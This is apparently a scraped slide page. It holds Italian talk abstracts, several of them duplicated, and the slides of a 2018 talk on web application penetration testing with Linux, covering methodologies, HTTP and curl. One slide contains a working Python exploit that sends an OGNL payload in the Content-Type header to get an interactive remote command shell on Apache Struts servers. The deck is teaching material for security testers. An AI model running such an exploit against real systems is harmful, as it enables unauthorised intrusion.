Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesaSimone Onofri
E’ da poco stata pubblicata la nuova versione della OWASP Testing Guide che – nella versione 4 – aggiorna, amplia e completa la versione precedente. Comprende inoltre tre paragrafi specifici per i test dei Cross Site Scripting e altri che comprendono impatti simili. Non è un caso che nella TOP 10 2013 troviamo il Cross Site Scripting al terzo posto. Durante il talk ci focalizzeremo sul Cross Site Scripting e quali sono i vari metodi di attacco e difesa di questa vulneraiblità che – spesso sottovalutata – può portare anche al defacement di un sito web.
Penetration Testing con Python - Network SnifferSimone Onofri
Una nota massima dice che "se ascolto dimentico, se vedo ricordo, se faccio capisco", il "fare", come lo scrivere codice e non usare strumenti già pronti è la chiave per essere un buon Penetration Tester. Non è un caso che Chris Miller dice che "la differenza stra uno script kiddies e i professionisti è la mera differenza tra chi usa strumenti di altri o i propri" Ovviamente questo presuppone una profonda conoscenza di quello che si sta facendo - una tecnica di attacco particolare, i protocolli utilizzati, dei sistemi, delle aplicazioni e così via. Quindi scrivere i propri strumenti è un modo di imparare realmente quello che accade sotto al "motore" di altri strumenti e come funzionano gli attacchi. Durante il talk vedremo in particolare i raw socket su linux e come scrivere uno sniffer.
“Da un grande potere derivano grandi responsabilità”, ci ricordano le parole di un grande supereroe. Allora, considerato che Magento è uno dei sistemi di eCommerce più utilizzati in tutto il mondo, è essenziale assumersi ogni responsabilità rispetto agli aspetti di sicurezza che, se trascurati, possono portare ingenti danni.
Durante il talk, Simone Onofri illustrerà le principali vulnerabilità, utilizzando la OWASP TOP 10 2013 e specifici esempi sull’ecosistema di Magento per imparare assieme come rendere sicura la propria installazione di Magento o il proprio Plugin.
Gli HTTP Security Header e altri elementi da sapere su HTTP in un Web Applica...Simone Onofri
Negli ultimi anni la disponibilità di Browser sempre più avanzati e le grandi capacità di calcolo dei Client hanno portato all’attenzione della comunità di sicurezza una serie di attacchi o tecniche che hanno come bersaglio principale l’utente dell’applicazione. I vendor e organizzazioni come IEFT e W3C hanno considerato opportuna l’implementazione di alcune protezioni attivabili tramite Header HTTP.
Gli header devono essere configurati per non rilasciare le informazioni, ottimizzare cache e codifica. Di contro manipolando direttamente i pacchetti HTTP è possibile alterare anche le risposte dell’applicazione o il suo funzionamento. Durate il talk analizzeremo attacchi come l’UI Redressing / HTTP Response Splitting, HTTP Verb Tampering e molto altro.
SIGNALR TO-THE-MAX: VERSO IL WEB ED OLTRE!DotNetCampus
Vedremo come impiegare SignalR al massimo per realizzare una infrastruttura che serva a semplificare la creazione di HubHost da poter usare sia in modo tradizionale sia à-la WCF Service da sfruttare anche al di fuori dell'ambiente web per la comunicazione tra processi, approfondendo inoltre anche i meccanismi della Pipeline dell ErrorHandling per implementare Listener e Logger. Aggireremo inoltre una limitazione dell HubClient creandone una versione strong-typed completamente event-based.
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesaSimone Onofri
E’ da poco stata pubblicata la nuova versione della OWASP Testing Guide che – nella versione 4 – aggiorna, amplia e completa la versione precedente. Comprende inoltre tre paragrafi specifici per i test dei Cross Site Scripting e altri che comprendono impatti simili. Non è un caso che nella TOP 10 2013 troviamo il Cross Site Scripting al terzo posto. Durante il talk ci focalizzeremo sul Cross Site Scripting e quali sono i vari metodi di attacco e difesa di questa vulneraiblità che – spesso sottovalutata – può portare anche al defacement di un sito web.
Penetration Testing con Python - Network SnifferSimone Onofri
Una nota massima dice che "se ascolto dimentico, se vedo ricordo, se faccio capisco", il "fare", come lo scrivere codice e non usare strumenti già pronti è la chiave per essere un buon Penetration Tester. Non è un caso che Chris Miller dice che "la differenza stra uno script kiddies e i professionisti è la mera differenza tra chi usa strumenti di altri o i propri" Ovviamente questo presuppone una profonda conoscenza di quello che si sta facendo - una tecnica di attacco particolare, i protocolli utilizzati, dei sistemi, delle aplicazioni e così via. Quindi scrivere i propri strumenti è un modo di imparare realmente quello che accade sotto al "motore" di altri strumenti e come funzionano gli attacchi. Durante il talk vedremo in particolare i raw socket su linux e come scrivere uno sniffer.
“Da un grande potere derivano grandi responsabilità”, ci ricordano le parole di un grande supereroe. Allora, considerato che Magento è uno dei sistemi di eCommerce più utilizzati in tutto il mondo, è essenziale assumersi ogni responsabilità rispetto agli aspetti di sicurezza che, se trascurati, possono portare ingenti danni.
Durante il talk, Simone Onofri illustrerà le principali vulnerabilità, utilizzando la OWASP TOP 10 2013 e specifici esempi sull’ecosistema di Magento per imparare assieme come rendere sicura la propria installazione di Magento o il proprio Plugin.
Gli HTTP Security Header e altri elementi da sapere su HTTP in un Web Applica...Simone Onofri
Negli ultimi anni la disponibilità di Browser sempre più avanzati e le grandi capacità di calcolo dei Client hanno portato all’attenzione della comunità di sicurezza una serie di attacchi o tecniche che hanno come bersaglio principale l’utente dell’applicazione. I vendor e organizzazioni come IEFT e W3C hanno considerato opportuna l’implementazione di alcune protezioni attivabili tramite Header HTTP.
Gli header devono essere configurati per non rilasciare le informazioni, ottimizzare cache e codifica. Di contro manipolando direttamente i pacchetti HTTP è possibile alterare anche le risposte dell’applicazione o il suo funzionamento. Durate il talk analizzeremo attacchi come l’UI Redressing / HTTP Response Splitting, HTTP Verb Tampering e molto altro.
SIGNALR TO-THE-MAX: VERSO IL WEB ED OLTRE!DotNetCampus
Vedremo come impiegare SignalR al massimo per realizzare una infrastruttura che serva a semplificare la creazione di HubHost da poter usare sia in modo tradizionale sia à-la WCF Service da sfruttare anche al di fuori dell'ambiente web per la comunicazione tra processi, approfondendo inoltre anche i meccanismi della Pipeline dell ErrorHandling per implementare Listener e Logger. Aggireremo inoltre una limitazione dell HubClient creandone una versione strong-typed completamente event-based.
(in)Sicurezza nella PA: la storia di uno dei tanti problemi di sicurezza che abbiamo scoperto e segnalato, esempi pratici di vulnerabilità in applicativi web e cosa ci riserva il futuro. Lo sviluppo sicuro delle applicazioni web spiegato ai fornitori di tecnologia della Pubblica Amministrazione.
BackBox Linux: Simulazione di un Penetration Test e CTFAndrea Draghetti
La sicurezza informatica sta diventando uno degli aspetti sempre più importanti nell'uso di strumenti digitali con cui abbiamo a che fare ogni giorno.
Il relatore Andrea Draghetti ci mostrerà le cinque fasi principali di un Penetration Test:
Information Gathering
Vulnerability Assessment
Exploitation
Privilege Escalation
Maintaining Access.
Utilizzando alcuni dei software preinstallati in BackBox (il relatore fa parte della community staff del progetto) e sfruttando alcune vulnerabilità, attaccherà un Server Web basato su Ubuntu Linux
Moving from Monolithic to Microservice Architecture: an OSS based stack deplo...Codemotion
Realizzare un’unica piattaforma che garantisce Omni-channel, Zero-downtime, Functional-decomposition e Auto-scaling è possibile? Vi raccontiamo un caso reale di come, utilizzando Zuul, Eureka, SpringBoot, Docker abbiamo realizzato i desideri del cliente e attuato questa trasformazione.
Esistono diversi strumenti per l’analisi forense per indagare gli attacchi sulla rete. In questa presentazione discuteremo degli strumenti alcuni disponibili gratuitamente e altri a pagamento
Innanzitutto, la presentazione inizia con la descrizione del tool NetworkMiner e con un relativo esempio su come rilevare un malware Zyklon utilizzando l’apposito strumento.
Poi la presentazione continua con il tool Colasoft Copsa un software che permette di acquisire e analizzare il traffico di rete, verranno spiegate le sezioni che si trovano nel menù principale dell’applicazione e infine come rilevare il worm SQL Slammer.
Infine, viene presentato il tool E-Detective un sistema di intercettazione (sniffing), analisi forense, auditing e record keeping , verrà spiegato brevemente come viene implementato il sistema e le principali funzionalità della GUI Web.
Introduzione alle metodologie e tipologie di strumenti per il rilevamento di intrusioni informatiche.
Talk tenuto da Alessandro Tanasi (http://www.tanasi.it)
La sicurezza delle Web Application - SMAU Business Bari 2013Massimo Chirivì
Durante lo sviluppo di siti web o web application l’implementazione della sicurezza dovrebbe essere una della fasi più importanti che uno sviluppatore dovrebbe eseguire, spesso però le soluzioni proposte non sono proprio “sicure”.Il talk mira a illustrare le principali tematiche relative all’argomento con un introduzione al Penetration Testing su web application.
Nat come esporre servizi https senza esporre l'applicazioneGiuliano Latini
Review degli strumenti a disposizione e loro contestualizzazione per erogare servizi tramite il protocollo HTTP reso sicuro (HTTPS) utilizzando il servizio Internet Let's Encripts e confronto tra gli approcci tecnologici applicabili a Apache, Nginx e Traefik.
In ASP.NET Core 3.0 è stato introdotto il supporto a gRPC, una framework altamente performante per fare Remote Procedure Call (RPC). Leggero e molto efficiente, supportato da molti linguaggi, supporto ad una comunicazione bidirezionale, riduzione del consumo di banda...solo questi solo alcuni dei vantaggi che descrivono gRPC, e che durante la sessione cercheremo di capire se siano reali o meno.
Fatto sta che è una tecnologia assolutamente da conoscere e sfruttare nello sviluppo di app moderno, e non solamente in ambito web.
Codice: https://github.com/andreadottor/XE.Dottor.gRPC
Evento: https://www.xedotnet.org/eventi/grpc-and-c-optimising-night/
HTML5 Single Page Application è il nuovo hype tecnologico: tutti ne parlano, il web ne è pervaso, da GMail a Facebook e Twitter, dal desktop al mobile, dagli Appennini alle Ande.
In questa sessione ci occuperemo di tutti quegli aspetti di organizzazione di una solution in termini di codebase, unit testing e processo di build, presentando alcuni strumenti che stanno emergendo fra quelli disponibili.
Demo: http://www.communitydays.it/events/2014-Roma/web02/
Mamma, da grande voglio essere un Penetration Tester HackInBo 2016 WinterSimone Onofri
L'interesse per la Sicurezza delle Informazioni e della Sicurezza IT è in continua crescita. In un mondo dove l'informazione è una risorsa chiave della nostra vita lavorativa e non, la protezione delle informazioni e delle varie tecnologie che la gestiscono sono aspetti fondamentali. Dai tempi di "How to became a Hacker" e dell"Hacker's Manifesto", molti hacker diventano un consulenti che aiutano le organizzazione private e/o pubbliche Un mondo con diverse sfumature di grigio, questioni etiche e morali. Grazie anche all'influeza di film come Wargames o Matrix e telefilm come Mr. Robot, in molti sono interessati ad essere Security Consultant, Penetration Tester, Security Researcher (che non sono esattamente la stessa cosa). Il talk è una riflessione per destreggiarsi e ragionare su domande tipiche come: quali certificazioni? Quali corsi? Quali sono le competenze? L'approccio da usare? La strada da percorrere?
Il testing delle applicazioni MVC Zend Framework è spesso visto come una sorta di stregoneria, ma tutto sommato non lo è. In questo seminario web vedremo cosa e come testare, i pattern più comuni per il testing e le possibili difficoltà che si possono incontrare. Verranno trattati inoltre alcuni elementi di base su PHPUnit in modo da fornire concetti fondamentali per l’operatività anche a chi non è esperto di testing.
Attacking and Exploiting Ethereum Smart Contracts: Auditing 101Simone Onofri
After web 1.0 and web 2.0, web3 has arrived! After a brief introduction, where we will look at the evolution of the web and what has changed as far as security is concerned, we will dive into blockchain to understand how to attack Smart Contracts on Ethereum, how these intersect with more classic vulnerabilities, and what are the main vulnerabilities we can find in contracts written in Solidity.
(in)Sicurezza nella PA: la storia di uno dei tanti problemi di sicurezza che abbiamo scoperto e segnalato, esempi pratici di vulnerabilità in applicativi web e cosa ci riserva il futuro. Lo sviluppo sicuro delle applicazioni web spiegato ai fornitori di tecnologia della Pubblica Amministrazione.
BackBox Linux: Simulazione di un Penetration Test e CTFAndrea Draghetti
La sicurezza informatica sta diventando uno degli aspetti sempre più importanti nell'uso di strumenti digitali con cui abbiamo a che fare ogni giorno.
Il relatore Andrea Draghetti ci mostrerà le cinque fasi principali di un Penetration Test:
Information Gathering
Vulnerability Assessment
Exploitation
Privilege Escalation
Maintaining Access.
Utilizzando alcuni dei software preinstallati in BackBox (il relatore fa parte della community staff del progetto) e sfruttando alcune vulnerabilità, attaccherà un Server Web basato su Ubuntu Linux
Moving from Monolithic to Microservice Architecture: an OSS based stack deplo...Codemotion
Realizzare un’unica piattaforma che garantisce Omni-channel, Zero-downtime, Functional-decomposition e Auto-scaling è possibile? Vi raccontiamo un caso reale di come, utilizzando Zuul, Eureka, SpringBoot, Docker abbiamo realizzato i desideri del cliente e attuato questa trasformazione.
Esistono diversi strumenti per l’analisi forense per indagare gli attacchi sulla rete. In questa presentazione discuteremo degli strumenti alcuni disponibili gratuitamente e altri a pagamento
Innanzitutto, la presentazione inizia con la descrizione del tool NetworkMiner e con un relativo esempio su come rilevare un malware Zyklon utilizzando l’apposito strumento.
Poi la presentazione continua con il tool Colasoft Copsa un software che permette di acquisire e analizzare il traffico di rete, verranno spiegate le sezioni che si trovano nel menù principale dell’applicazione e infine come rilevare il worm SQL Slammer.
Infine, viene presentato il tool E-Detective un sistema di intercettazione (sniffing), analisi forense, auditing e record keeping , verrà spiegato brevemente come viene implementato il sistema e le principali funzionalità della GUI Web.
Introduzione alle metodologie e tipologie di strumenti per il rilevamento di intrusioni informatiche.
Talk tenuto da Alessandro Tanasi (http://www.tanasi.it)
La sicurezza delle Web Application - SMAU Business Bari 2013Massimo Chirivì
Durante lo sviluppo di siti web o web application l’implementazione della sicurezza dovrebbe essere una della fasi più importanti che uno sviluppatore dovrebbe eseguire, spesso però le soluzioni proposte non sono proprio “sicure”.Il talk mira a illustrare le principali tematiche relative all’argomento con un introduzione al Penetration Testing su web application.
Nat come esporre servizi https senza esporre l'applicazioneGiuliano Latini
Review degli strumenti a disposizione e loro contestualizzazione per erogare servizi tramite il protocollo HTTP reso sicuro (HTTPS) utilizzando il servizio Internet Let's Encripts e confronto tra gli approcci tecnologici applicabili a Apache, Nginx e Traefik.
In ASP.NET Core 3.0 è stato introdotto il supporto a gRPC, una framework altamente performante per fare Remote Procedure Call (RPC). Leggero e molto efficiente, supportato da molti linguaggi, supporto ad una comunicazione bidirezionale, riduzione del consumo di banda...solo questi solo alcuni dei vantaggi che descrivono gRPC, e che durante la sessione cercheremo di capire se siano reali o meno.
Fatto sta che è una tecnologia assolutamente da conoscere e sfruttare nello sviluppo di app moderno, e non solamente in ambito web.
Codice: https://github.com/andreadottor/XE.Dottor.gRPC
Evento: https://www.xedotnet.org/eventi/grpc-and-c-optimising-night/
HTML5 Single Page Application è il nuovo hype tecnologico: tutti ne parlano, il web ne è pervaso, da GMail a Facebook e Twitter, dal desktop al mobile, dagli Appennini alle Ande.
In questa sessione ci occuperemo di tutti quegli aspetti di organizzazione di una solution in termini di codebase, unit testing e processo di build, presentando alcuni strumenti che stanno emergendo fra quelli disponibili.
Demo: http://www.communitydays.it/events/2014-Roma/web02/
Mamma, da grande voglio essere un Penetration Tester HackInBo 2016 WinterSimone Onofri
L'interesse per la Sicurezza delle Informazioni e della Sicurezza IT è in continua crescita. In un mondo dove l'informazione è una risorsa chiave della nostra vita lavorativa e non, la protezione delle informazioni e delle varie tecnologie che la gestiscono sono aspetti fondamentali. Dai tempi di "How to became a Hacker" e dell"Hacker's Manifesto", molti hacker diventano un consulenti che aiutano le organizzazione private e/o pubbliche Un mondo con diverse sfumature di grigio, questioni etiche e morali. Grazie anche all'influeza di film come Wargames o Matrix e telefilm come Mr. Robot, in molti sono interessati ad essere Security Consultant, Penetration Tester, Security Researcher (che non sono esattamente la stessa cosa). Il talk è una riflessione per destreggiarsi e ragionare su domande tipiche come: quali certificazioni? Quali corsi? Quali sono le competenze? L'approccio da usare? La strada da percorrere?
Il testing delle applicazioni MVC Zend Framework è spesso visto come una sorta di stregoneria, ma tutto sommato non lo è. In questo seminario web vedremo cosa e come testare, i pattern più comuni per il testing e le possibili difficoltà che si possono incontrare. Verranno trattati inoltre alcuni elementi di base su PHPUnit in modo da fornire concetti fondamentali per l’operatività anche a chi non è esperto di testing.
Similar to Linux Day 2018 Roma - Web Application Penetration Test (WAPT) con Linux (20)
Attacking and Exploiting Ethereum Smart Contracts: Auditing 101Simone Onofri
After web 1.0 and web 2.0, web3 has arrived! After a brief introduction, where we will look at the evolution of the web and what has changed as far as security is concerned, we will dive into blockchain to understand how to attack Smart Contracts on Ethereum, how these intersect with more classic vulnerabilities, and what are the main vulnerabilities we can find in contracts written in Solidity.
Attacking Ethereum Smart Contracts a deep dive after ~9 years of deploymentSimone Onofri
This presentation dives deep into the security of Ethereum Smart Contracts written in Solidity, shedding light on common vulnerabilities. Inspired by the newly released OWASP Blockchain Top 10, the presentation will focus on famous vulnerabilities by examples.
After a brief introduction to Ethereum Blockchain and Solidity, the presentation will describe a systematic approach that includes source code analysis, dissecting real-world incidents, reverse-engineer the code of attacked contracts to reveal their inner workings, and use some vulnerable contracts to demonstrate these vulnerabilities interactively and engagingly, providing a practical understanding of issues such as Reentrancy, Arithmetic vulnerabilities, DoS attacks, and insecure randomness.
This talk aims to equip developers, security analysts, and blockchain enthusiasts with the knowledge to build more secure smart contracts. By understanding these security risks, participants will be better prepared to anticipate, identify, and mitigate potential threats, fostering a safer web3 environment.
Agile Business Consortium - LEGO SERIOUS PLAY e i Principi di Agile Project M...Simone Onofri
Agile è una filosofia e un modo di lavorare particolarmente adatto al mondo attuale dove i cambiamenti sono all'ordine del giorno. E' possibile capire a fondo i principi di Agile Project Management giocando, attraverso LEGO SERIOUS PLAY.
Workshop su Agile Project Framework e Agile PM per il PMI®-NIC Branch Lombardia. Cosa è Agile, l'Agile Project Framework e Agile Project Management e le tecniche MoScoW e il Timeboxing. Come si struttura un Team Agile.
Agile nei servizi di cyber security (Security Summit Edition)Simone Onofri
Nello scenario attuale Agile è una delle carte vincenti per offrire ai propri Clienti servizi di Cyber Security che generano il loro valore in poco tempo. Durante lo speech, dopo una breve introduzione, sarà descritta - tramite esempi e casi reali - la metodologia utilizzata in un contesto internazionale per i progetti di Security Testing ed Ethical Hacking.
Nuove minacce nella Cyber Security, come proteggersiSimone Onofri
La Cyber Security è una problematica sempre più attuale. Il problema non è tanto capire SE ci sarà un attacco ma COME sarà eseguito e quindi COSA fare per difenderci. Che siamo singole persone, piccoli imprenditori, grandi aziende o Pubbliche Amministrazioni siamo sempre dei bersagli. Anche un attacco da un costo esiguo può portare ingenti perdite e impatti disastrosi. Come prevenire questi attacchi e, se accadono, come possiamo reagire per limitare il danno?
Dopo una breve descrizione delle ultime tendenze in fatto di Cyber Crime saranno analizzati diversi casi reali come quello di Sony - dove sono stati rubati 100 Terabyte di dati tra cui 5 film inediti e i dati dei dipendenti che hanno dovuto loro stessi reagire a questo attacco - e di Carbanak - dove è stato stimato un furto dai 500 milioni di euro a circa 1 miliardo - per comprendere come sarebbe stato possibile prevenire o limitare i danni. Una sezione sarà dedicata alla problematica del Phishing che diventa sempre più difficile da identificare e che spesso è il primo passo verso una compromissione persistente (Advanced Persistent Threat - APT).
IPMA 2014 World Congress - Stakeholder Engagement between Traditional and Ag...Simone Onofri
If you are Agile or Traditional, or a mix of two, you cannot survive without (engaging) your stakeholder. After a “big picture view” on how stakeholders can be managed referring in Traditional Management and how this is vital in the Agile approach.
2. Agenda
• Introduzione
• Cos'è un WAPT e chi è il
Penetration Tester (Web)
• Metodologie per i WAPT
• HTTP
• Strumenti di base
• Un primo giro
• A mano e con l'intruder
• Altre vulnerabilità
• Port Scanning per il Web e non solo
(extra)
5. «Un Penetration Test, occasionalmente pen test, è un
metodo per la valutazione della sicurezza di un
sistema informatico o di una rete simulando un
attacco da parte di attaccanti esterni (che non hanno
di norma accesso ai sistemi informatici) e/o di
attaccanti interni (che hanno un qualche livello di
accesso autorizzato ai sistemi)»
-- CREST (Penetration Test Procurement Buyers' Guide)
6. PT != CTF != BB
Nonostante le competenze di base siano simili
7. Chi è il Penetration Tester
Un Penetration Tester è una
persona che applica un metodo,
utilizza degli strumenti e delle
tecniche per simulare un attacco
da parte di un agente di minaccia
esterno o interno
all'organizzazione bersaglio.
8. Cosa deve "sapere" un Penetration Tester
Web
• Competenze
• Programmazione*
• Tecnologie da testare (e.g. linguaggi web, database…)
• Reti e protocolli
• Metodologie
• Generali (e.g. OWASP TG/TOP, ISECOM OSSTMM,
PTES…)
• Attacchi specifici (e.g. SQLI, XSS, LFI…)
• Strumenti
• Sistema operativo
• Browser
• Interception Proxy
• Altro
• Scrivere
• Comunicare anche con Cliente
• Lavorare in team
9. Chi NON è il Penetration Tester
Non è un Penetration Tester chi tutto
il giorno utilizza solo strumenti per
cercare le vulnerabilità come Qualys,
Nessus, OpenVAS, Nikto, Acunetix….
Questi strumenti sono scanner
automatici […] per essere un
Penetration Tester devi essere
capace di sfruttare le manualmente
le vulnerabilità, fare privilege
escalation, exfiltration ecc…
-- Alex Yang
11. Metodologie per i WAPT
• NIST SP-800-115 come riferimento
generale
• OSSTMM v4
• OWASP Testing Guide e TOP 10
• Penetration Testing Execution
Standard (PTES)
• PCI-DSS se richiesto dalla
"compliance"
Tutte le metodologie sono importanti e hanno delle aree di
sovrapposizione ma anche delle peculiarità. Un buon
Penetration Tester sa combinarle correttamente.
12. Il processo del PTES
Intelligence
Gathering
Pre-Engagement Interactions
Threat
Modeling
Vulnerability Analysis
Reporting
Exploitation
Post Exploitation
Active Passive
Persistence Pivoting
Infrastructure Analysis
Pillaging
13. La lista delle categoria della Testing Guide
Testing for Information Gathering (e.g. Motori di ricerca, Web server, Enumerazione…)
Configuration and Deployment Management Testing (e.g. Infrastruttura, Web Server…)
Identity Management Testing (e.g. Registrazione, Ruoli, Provisioning…)
Authentication Testing (e.g. Password, Lockout, Bypass, Cache, Cambio/recupero credenziali…)
Authorization Testing (e.g. Bypass, Directory Traversal, Escalation di Privilegi, Insecure Direct Onject Ref….)
Session Management Testing (e.g. Bypass, Cookie, Session Fixation, CSRF, Logout, Timeout…)
Input Validation Testing (e.g. Injection, XSS, Overflow, format string…)
Testing for Error Handling (e.g. Applicativo, Web/Application Server, Stack trace…)
Testing for weak Cryptography (e.g. SSL/TLS, Padding Oracle, Crittografia…)
Business Logic Testing (e.g. Richieste arbitrarie, Logica, Flussi, Abusi, File Upload…)
Client Side Testing (e.g. DOM, Javascript, CSS, Redirect, CORS, Clickjacking, HTML5…)
14. Una "pre-engagement interaction" tipica
[Insert Your Organization Logo]
Memorandum for File
Subject: Vulnerability Assessment and Penetration Testing Authorization
Date: MMDDYY
To properly secure this organization's information technology assets, the information security team is required to assess our security stance
periodically by conducting vulnerability assessments and penetration testing. These activities involve scanning our desktops, laptops, servers,
network elements, and other computer systems owned by this organization on a regular, periodic basis to discover vulnerabilities present on these
systems. Only with knowledge of these vulnerabilities can our organization apply security fixes or other compensating controls to improve the security
of our environment.
The purpose of this memo is to grant authorization to specific members of our information security team to conduct vulnerability assessments and
penetration tests against this organization's assets. To that end, the undersigned attests to the following:
1) [Insert name of tester], [Insert name of tester], and [Insert name of tester] have permission to scan the organization's computer equipment to find
vulnerabilities. This permission is granted for from [insert start date] until [insert end date].
2) [Insert name of approver] has the authority to grant this permission for testing the organization's Information Technology assets.
[Insert additional permissions and/or restrictions if appropriate.]
Signature: ___________________________ Signature: ___________________________
[Name of Approver] [Name of Test Team Lead]
[Title of Approver] [Title of Test Team Lead]
Date: __________________________ Date: __________________________
http://www.counterhack.net/permission_memo.html
15. Il reporting…
• Il report finale di un Penetration Test
è l’ultima fase del test stesso
• Come tale, può essere considerata la più
importante
• Se il nostro obiettivo come penetration
tester è quello di aiutare le organizzazioni
a migliorare la propria sicurezza, il report
è in genere il nostro mezzo più efficace
per farlo (in quanto utilizzato come linea
guida per il patching delle vulnerabilità
emerse)
• La buon stesura di un report indica
anche la professionalità di un
Penetration Tester
• Quindi è importante anche prendere gli
appunti in maniera corretta durante il
test.
16. Come funziona HTTP?
URIMethod
Header: Value
<CR> <LF>
Header: Value
<CR> <LF>
Header: Value
<CR> <LF>
HTTP Request
Body
<CR> <LF> <CR> <LF>
<SP> Protocol<SP> CodeProtocol
Header: Value
<CR> <LF>
Header: Value
<CR> <LF>
Header: Value
<CR> <LF>
HTTP Response
Body
<CR> <LF> <CR> <LF>
<SP>
Explanati
on
<SP>
https://tools.ietf.org/html/rfc1945
https://www.ietf.org/rfc/rfc2616.txt
17. HTTP Request - Metodi
• OPTIONS (vedere I metodi abilitati)
• GET
• HEAD (solo header)
• POST
• PUT
• DELETE
• TRACE (riflette la richiesta)
• CONNECT (proxy)
• WebDAV
• PROPFIND
• PROPPATCH
• MKCOL
• COPY
• MOVE
• LOCK
• UNLOCK
18. HTTP Request - Metodi comuni
• GET: per richiedere risorse passando i
parametri tramite URL
(http://onofri.org/index.php?chiave=valor
e)
• E’ possibile salvare i parametri (e.g. nella
history)
• Vengono esposti nei log (quindi non è bene
che siano presenti dati di un certo tipo).
• Facilmente manipolabili
• POST: per richiedere risorse passando i
parametri nel payload di HTTP
• E’ possibile comunque manipolarli
• E’ il modo migliore per passare credenziali
• E’ possibile che l’applicazione possa
invertire POST e GET
• HEAD: per richiedere solo gli header
• Per visualizzare solamente gli Header
• Verificare il codice di ritorno di una pagina
• La leggenda vuole che ci si possano fare i
bypass*
• CONNECT è un ulteriore metodo che può
essere utilizzato se è presente un proxy.
• TRACE è un metodo che può essere
utilizzato per riflettere i parametri, quindi
potenzialmente un Cross Site Scripting.
19. Primo strumento: curl
• Se netcat è il coltellino svizzero del
"network", curl è il coltellino
svizzero open source del "web".
• Per capire come si usa: "man curl"
|| "curl --help" ☺
• Di norma utilizziamo alcuni switch:
• -k: insicuro*
• -i: include gli header
• -s: silenzioso
• -X: specifica il verb
• -d: dati in post
• -L: segue i redirect
• -v: output verboso
• Esempi
• $ curl -kis -X <method>
https://onofri.org
• $ curl -kis
"https://onofri.org/index
.php?param1=value1¶m2
=value2"
• $ curl -kis –X HEAD
https://onofri.org/
• $ curl -d
"data=example1&data2=exam
ple2" https://onofri.org
20. HTTP Request - Version
• Sono presenti differenti versioni di HTTP:
• Attualmente utilizziamo il protocollo HTTP nelle
sue due versioni più comuni: 1.0 e 1.1 e sono
disponibili anche 2.0 e – storicamente
supportato – HTTP 0.9.
• Ogni protocollo ha delle differenze peculiari.
Una delle caratteristiche più interessanti
durante un Penetration Tester è la possibilità del
1.1 di poter utilizzare i virtual host.
• Durante un Penetration Test sono utili per:
• Identificare altri virtual host, permette di
identificare altre applicazioni web e identificare
altra superficie di attacco.
• Fare fingerprinting analizzando le risposte a
richieste particolari (e.g. versioni obsolete o non
esistenti, altri protocolli)
$ echo "GET / ANTANI/1.0rnrn" | nc onofri.org 80
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not
understand.<br />
</p>
<hr>
<address>Apache Server at onofri.org Port 80</address>
</body></html>
$ curl -kis —http1.0 -H "Host: onofri.org" http://
67.222.36.105
$ curl -kis —http1.1 -H "Host: onofri.org" http://
67.222.36.105
21. HTTP Request - Header
• Nel browser non vediamo gli header, ma in
generale la modifica di questi elementi può
modificare completamente il comportamento
del server e/o dell’applicazione e sono da
considerare campi di input:
• Cookie (Data Validation)
• Authorization (Basic Authentication)
• Host (Virtual Host)
• Origin (Policy)
• Via (Data Validation, Non Repudiation)
• User-Agent (Data Validation)
• Referer (Data Validation, Authorization)
• Content-type (Data validation)
• Si può testare con curl
• $ curl -kis -H "Via: 127.0.0.1"
http://onofri.org/
Esempio di una RCE che utilizza il Content-Type.
import urllib2
chk=raw_input(' Link: ')
cmd='antani'
while(cmd):
cmd=raw_input(' $Shell:')
payload = "%{(#_='multipart/form-
data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBE
R_ACCESS).(#_memberAccess?(#_memberAccess=#
dm):((#container=#context['com.opensymphony
.xwork2.ActionContext.container']).(#ognlUt
il=#container.getInstance(@com.opensymphony
.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.ge
tExcludedPackageNames().clear()).(#ognlUtil
.getExcludedClasses().clear()).(#context.se
tMemberAccess(#dm)))).(#cmd='" + cmd + " &&
echo
Lucif3r').(#iswin=(@java.lang.System@getPro
perty('os.name').toLowerCase().contains('wi
n'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:
{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redire
ctErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionCon
text@getResponse().getOutputStream())).(@or
g.apache.commons.io.IOUtils@copy(#process.g
etInputStream(),#ros)).(#ros.flush())}"
req = urllib2.Request(chk,
headers={'User-Agent': 'Mozilla/5.0',
'Content-Type': payload})
con=urllib2.urlopen(req).read()
end=con.find('antani')
print con[0:end]
22. HTTP Response – Protocol / Code / Explanation / Version /
Header
• La risposta HTTP ci fornisce una serie di
informazioni utili su come il server ha reagito alla
nostra richiesta:
• Possiamo capire come ci risponde il server a livello di
protocollo e codice.
• Informazioni sui codici di errore e sulle pagine che
vengono restituite dal server (spesso lasciate di default).
• Possiamo eseguire della manipolazione dei
parametri su cui abbiamo accesso vengono
inseriti negli Header:
• HTTP Response Splitting
• Open Redirect
• Header Injection
• Leggendo i response Header normalmente
si possono estrarre numerose
informazioni e vulnerabilità:
• Policy relative al caching e alla durata della
pagina (e.g. Pragma, Cache-Control)
• Policy per l’accesso alle informazioni (e.g.
Content-Type)
• Codifica utilizzata
• Come sono strutturati i Cookie (e.g. Set-Cooke
con HTTPOnly, Secure, Path, Domain, Expire,
Max-Age)
• Informazioni sull’infrastruttura (e.g. Server, X-
Powered-by, Alternates…)
• Policy di protezione (e.g. X-XSS-Protection,
CORS, X-Frame-Options, HSTS, CSP, X-
Content-Type-Options, X-Download-Options,
HSTS)
23. Dove siamo nel TCP/IP?
• Application: Servizi applicativi
per l’utente (nel nostro caso
HTTP).
• Transport: Organizza I dati per il
trasporto e la loro trasmissioni
(nel nostro caso TCP).
• Internet/Gateway: Gestisce
l’indirizzamento logico tra due
sistemi, anche quelli che ono
sono connessi direttamente,
come anche il percordo per
arrivare a questi sistemi (nel
nostro caso IPv4).
• Network : Converte le
informazioni logiche sui
dispositivi fisici (nel nostro caso
Ethernet).
+------+ +-----+ +-----+ +-----+
|Telnet| | FTP | |Voice| ... | | Application Level
+------+ +-----+ +-----+ +-----+
| | | |
+-----+ +-----+ +-----+
| TCP | | RTP | ... | | Host Level
+-----+ +-----+ +-----+
| | |
+-------------------------------+
| Internet Protocol & ICMP | Gateway Level
+-------------------------------+
|
+---------------------------+
